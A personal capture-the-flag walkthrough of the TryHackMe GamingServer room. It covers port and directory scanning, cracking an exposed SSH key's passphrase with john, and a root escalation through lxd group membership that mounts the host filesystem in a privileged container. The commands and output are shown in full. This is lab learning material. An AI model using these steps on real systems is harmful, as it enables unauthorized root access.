TryHackMe: GamingServer
GamingServer was another room where i only had to check on how to get the root flag. As time goes by and i’m doing more and more rooms i feel like i’m getting better in the general sense but there is still a lot i need to fix, i keep repeating mistakes or not doing certain things that i knew i should be doing. But i’m feeling motivated to better myself so from here its just gonna get better and better!
https://tryhackme.com/room/gamingserver
Initial Enumeration
Nmap Scan
We start with our nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -T4 -n -sC -sV -Pn -p- 10.10.69.195
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-04 19:54 GMT
Nmap scan report for 10.10.69.195
Host is up (0.085s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 34:0e:fe:06:12:67:3e:a4:eb:ab:7a:c4:81:6d:fe:a9 (RSA)
| 256 49:61:1e:f4:52:6e:7b:29:98:db:30:2d:16:ed:f4:8b (ECDSA)
|_ 256 b8:60:c4:5b:b7:b2:d0:23:a0:c7:56:59:5c:63:1e:c4 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: House of danak
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.44 seconds
Web 80
Just ssh and http so we go to port 80:
Not much to see on the outside but going to the source code we find a possible username:
Gobuster Scan
Other pages didn’t have much so we go do our usual gobuster scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x ".txt,.html,.php" -t 25 --timeout 20s -u http://10.10.69.195:80/
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.69.195:80/
[+] Method: GET
[+] Threads: 25
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,html,php
[+] Timeout: 20s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 2762]
/.html (Status: 403) [Size: 277]
/about.html (Status: 200) [Size: 1435]
/about.php (Status: 200) [Size: 2213]
/uploads (Status: 301) [Size: 314] [--> http://10.10.69.195/uploads/]
/.php (Status: 403) [Size: 277]
/robots.txt (Status: 200) [Size: 33]
/secret (Status: 301) [Size: 313] [--> http://10.10.69.195/secret/]
/myths.html (Status: 200) [Size: 3067]
/server-status (Status: 403) [Size: 277]
Progress: 882240 / 882244 (100.00%)
===============================================================
Finished
===============================================================
We find one interesting directory, secret
, and inside it there’s a file called secretKey
:
Opening the file we get an ssh private key:
Shell as john
We have a possible user and a private key, we can try cracking the key and logging into ssh. To crack it we first need to hash it with ssh2john
and then use the normal john
to crack the password:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh2john id_rsa > hash
┌──(kali㉿kali)-[~/Desktop]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
letmein (id_rsa)
1g 0:00:00:00 DONE (2025-02-04 20:01) 50.00g/s 25600p/s 25600c/s 25600C/s teiubesc..letmein
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Now we can log into john and read the user flag:
1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh -i id_rsa john@10.10.69.195
Enter passphrase for key 'id_rsa':
john@exploitable:~$ ls
user.txt
john@exploitable:~$ cat user.txt
[REDACTED]
When enumerating, since we don’t have john’s password we can’t do sudo -l
, but doing id
we see that john is on the sudo and lxd group. We can’t do much with sudo so we will try exploiting lxd.
Shell as root
First, in our machine, we will download the alpine-builder
and build it:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/Desktop]
└─$ git clone https://github.com/saghul/lxd-alpine-builder.git
Cloning into 'lxd-alpine-builder'...
remote: Enumerating objects: 50, done.
remote: Counting objects: 100% (8/8), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 50 (delta 2), reused 5 (delta 2), pack-reused 42 (from 1)
Receiving objects: 100% (50/50), 3.11 MiB | 8.83 MiB/s, done.
Resolving deltas: 100% (15/15), done.
┌──(kali㉿kali)-[~/Desktop]
└─$ cd lxd-alpine-builder
┌──(kali㉿kali)-[~/Desktop/lxd-alpine-builder]
└─$ sudo ./build-alpine
Determining the latest release... v3.21
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.21/main/x86_64
Downloading alpine-keys-2.5-r0.apk
...
Running the script will create an image stored in an archived file, so now we will start an http server on our machine to be able to get that file inside john’s machine:
1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Inside john we will go to the /tmp
folder first and then download the file:
1
2
3
4
5
6
7
8
9
10
11
john@exploitable:~$ cd /tmp
john@exploitable:/tmp$ wget http://10.23.58.75:80/alpine-v3.13-x86_64-20210218_0139.tar.gz
--2025-02-04 20:37:09-- http://10.23.58.75/alpine-v3.13-x86_64-20210218_0139.tar.gz
Connecting to 10.23.58.75:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3259593 (3.1M) [application/gzip]
Saving to: ‘alpine-v3.13-x86_64-20210218_0139.tar.gz’
alpine-v3.13-x86_64-20210218_0139. 100%[==============================================================>] 3.11M 1.77MB/s in 1.8s
2025-02-04 20:37:11 (1.77 MB/s) - ‘alpine-v3.13-x86_64-20210218_0139.tar.gz’ saved [3259593/3259593]
Now we need to import the image we created:
1
2
john@exploitable:/tmp$ lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
Image imported with fingerprint: cd73881adaac667ca3529972c7b380af240a9e3b09730f8c8e4e6a23e1a7892b
And lastly, to spawn a root shell we have to run the following commands:
1
2
3
4
5
6
7
8
john@exploitable:/tmp$ lxc init myimage ignite -c security.privileged=true
Creating ignite
john@exploitable:/tmp$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
john@exploitable:/tmp$ lxc start ignite
john@exploitable:/tmp$ lxc exec ignite /bin/sh
~ # whoami
root
To get the root flag we just have to go to /mnt/root/root
and read it:
1
2
3
4
5
/ # cd mnt/root/root
/mnt/root/root # ls
root.txt
/mnt/root/root # cat root.txt
[REDACTED]